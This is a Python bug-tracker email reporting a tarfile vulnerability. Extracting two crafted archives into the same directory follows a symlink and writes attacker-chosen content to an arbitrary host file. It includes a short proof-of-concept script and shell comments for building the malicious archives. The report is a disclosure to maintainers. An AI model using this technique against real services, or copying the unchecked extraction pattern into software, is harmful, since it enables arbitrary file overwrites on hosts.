New submission from guangli dong <leve...@gmail.com>:

if uncompress file twice to the same dir, attacker can "write any content to 
any file on the host"".

poc code like below:
```
import tarfile


dir_name = "/tmp/anything"
file1_name = "/tmp/a.tar.gz"  # ln -sv /tmp/a test_tar/a;tar -cvf a.tar.gz 
test_tar/a
file2_name = "/tmp/b.tar.gz"  # echo "it is just poc" > /tmp/payload; rm -rf 
test_tar; cp /tmp/payload test_tar/a;tar -cvf b.tar.gz test_tar/a


def vuln_tar(tar_path):
        """
        :param tar_path:
        :return:
        """
        import tarfile
        tar = tarfile.open(tar_path, "r:tar")
        file_names = tar.getnames()
        for file_name in file_names:
            tar.extract(file_name, dir_name)
        tar.close()


vuln_tar(file1_name)
vuln_tar(file2_name)
```

in this poc code, if one service uncompress tar file which is uploaded by 
attacker to "dir_name" twice, attacker can create "/tmp/a" and write "it is 
just poc" string into "/tmp/a" file.

----------
components: Library (Lib)
files: poc.tar.gz
messages: 392827
nosy: leveryd
priority: normal
severity: normal
status: open
title: "tarfile" library will lead to "write any content to any file on the 
host".
type: security
versions: Python 3.7
Added file: https://bugs.python.org/file50005/poc.tar.gz

_______________________________________
Python tracker <rep...@bugs.python.org>
<https://bugs.python.org/issue44023>
_______________________________________
_______________________________________________
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

Reply via email to